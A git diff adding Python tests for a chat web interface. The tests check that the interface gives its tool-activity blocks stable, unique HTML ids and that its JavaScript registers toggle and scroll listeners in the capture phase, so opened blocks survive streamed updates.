+        content=["```python\n", "x = 1"],
+        steps=[{"round": 0, "thinking_to": 0, "text_to": 10, "tools_to": 0}],
+    )
+
+    _, text = steps.tail(generation)
+    assert text.startswith("```python")
+
+
+def test_a_reply_with_no_marks_has_everything_in_its_tail():
+    generation = _generation(content=["all of it"], reasoning=["thinking"])
+
+    assert steps.tail(generation) == ("thinking", "all of it")
diff --git a/tests/test_tool_activity.py b/tests/test_tool_activity.py
index 6df9f49..a601522 100644
--- a/tests/test_tool_activity.py
+++ b/tests/test_tool_activity.py
@@ -290,3 +290,66 @@ def test_an_event_without_an_explanation_renders_no_empty_line():
         {"name": "shell_run", "kind": "agent", "query": "ls", "status": "ok", "results": []}
     )
     assert "tool-activity__why" not in html
+
+
+# --- The ids that carry an opened block across a swap --------------------------
+def test_a_block_carries_an_id_built_from_where_it_sits():
+    """`steps.js` records which are open before a swap and puts them back after,
+    keyed on these. The step index comes from a mark and the marks are
+    append-only, so index N always means the same call."""
+    html = templates.get_template("chat/_tool_activity.html").render(
+        {
+            "tool_events": [{"name": "file_read"}, {"name": "shell_run"}],
+            "message_id": "m1",
+            "step_index": 3,
+            "live": True,
+        }
+    )
+
+    assert 'id="tool-m1-3-0"' in html
+    assert 'id="tool-m1-3-1"' in html
+
+
+def test_ids_are_unique_within_one_bubble():
+    """Two steps, two calls each. Without the step index every block in the
+    reply would be `tool-m1-0-0` or `tool-m1-0-1`, and restoring one open block
+    would open four."""
+    seen = []
+    for index in (0, 1):
+        html = templates.get_template("chat/_tool_activity.html").render(
+            {
+                "tool_events": [{"name": "a"}, {"name": "b"}],
+                "message_id": "m1",
+                "step_index": index,
+                "live": False,
+            }
+        )
+        seen += re.findall(r'id="(tool-[^"]+)"', html)
+
+    assert len(seen) == len(set(seen)) == 4
+
+
+def test_a_caller_with_no_message_emits_no_id_at_all():
+    """Rather than the same id in every bubble on the page, which is worse than
+    none: `document.querySelector` would find the first one and restore the
+    wrong block."""
+    html = templates.get_template("chat/_tool_activity.html").render(
+        {"tool_events": [{"name": "a"}], "live": False}
+    )
+
+    assert "id=" not in html
+
+
+def test_the_live_and_the_stored_render_agree_about_the_id():
+    """The property the whole open-state restore depends on. If these differed,
+    everything a reader had expanded would shut at the moment the reply
+    finished -- the one moment they are most likely to be reading it."""
+    events = [{"name": "shell_run"}]
+    live = templates.get_template("chat/_tool_activity.html").render(
+        {"tool_events": events, "message_id": "m1", "step_index": 2, "live": True}
+    )
+    stored = templates.get_template("chat/_tool_activity.html").render(
+        {"tool_events": events, "message_id": "m1", "step_index": 2, "live": False}
+    )
+
+    assert re.findall(r'id="([^"]+)"', live) == re.findall(r'id="([^"]+)"', stored)
diff --git a/tests/test_ui_js.py b/tests/test_ui_js.py
index c7509f3..0c7be21 100644
--- a/tests/test_ui_js.py
+++ b/tests/test_ui_js.py
@@ -9,6 +9,7 @@ tidying up later.
 
 from __future__ import annotations
 
+import re
 from pathlib import Path
 
 import lembas
@@ -64,3 +65,70 @@ def test_every_prompt_button_names_a_field_or_takes_the_default():
             continue
         # Either an explicit field, or the "name" default the handler applies.
         assert "data-prompt-field" in text or "/api/folders" in text, path
+
+
+# --- The transcript's open blocks, and the scroll that used to chase them ------
+STEPS = (ROOT / "web/static/js/steps.js").read_text(encoding="utf-8")
+APP = (ROOT / "web/static/js/app.js").read_text(encoding="utf-8")
+
+
+def test_the_toggle_listener_is_registered_in_the_capture_phase():
+    """`toggle` does not bubble. Registered without the third argument the
+    listener is never called, in every browser, with nothing anywhere to say so
+    -- the same shape as a trigger bound where the event does not go, which cost
+    two selects an entire release.
+
+    Asserted as the property rather than as the markup, for that reason.
+    """
+    found = re.search(r'"toggle",[\s\S]{0,600}?\n\s*(true|false)\n\s*\);', APP)
+    assert found, "the toggle listener is gone"
+    assert found.group(1) == "true"
+
+
+def test_the_scroll_listener_is_too():
+    """A scroll event does not bubble either, and this one is on the thread
+    rather than on the document it is registered against."""
+    found = re.search(r'"scroll",[\s\S]{0,600}?\n\s*(true|false)\n\s*\);', APP)
+    assert found, "the scroll listener is gone"
+    assert found.group(1) == "true"
+
+
+def test_the_stream_no_longer_scrolls_for_every_frame():
+    """`metrics`, `status`, `ask` and `canvas` all arrive on htmx:sseMessage,
+    and none of them changes the height of the thread. Scrolling for all of them
+    is what made an opened block impossible to keep on screen."""
+    found = re.search(r'htmx:sseMessage", function \(event\) \{([\s\S]{0,400}?)\n  \}\);', APP)
+    assert found, "the handler is gone"
+    assert "thread-scroll" in found.group(1)
+
+
+def test_the_open_state_is_recorded_before_the_swap_and_restored_after():
+    """Both halves, or it is a module that does nothing. The container is
+    replaced with innerHTML twelve times a second, so anything not written down
+    first is gone by the time there is somewhere to put it back."""
+    assert "htmx:sseBeforeMessage" in STEPS
+    assert "htmx:sseMessage" in STEPS
+    assert "htmx:afterSwap" in STEPS
+
+
+def test_it_never_cancels_the_frame_it_is_listening_to():
+    """htmx:sseBeforeMessage is cancellable -- the extension reads what handlers
+    return to decide whether to swap at all. Cancelling here would freeze the
+    transcript with no error anywhere."""
+    assert "preventDefault" not in STEPS
+
+
+def test_an_id_is_escaped_rather_than_concatenated_into_a_selector():
+    """The same rule `data-prompt` follows for hx-vals. An id is a message id
+    and two integers today; a selector assembled by hand is how that stops being
+    true safely."""
+    assert "CSS.escape" in STEPS
+
+
+def test_the_finished_bubble_repeats_the_live_container_s_id():
+    """That is the whole mechanism for carrying an opened block across the
+    `done` frame, which replaces the entire article: same id on the container,
+    same ids inside it, because both come from the mark index."""
+    message = (TEMPLATES / "chat/_message.html").read_text(encoding="utf-8")
+
+    assert message.count('id="steps-{{ message.id }}" data-steps') == 2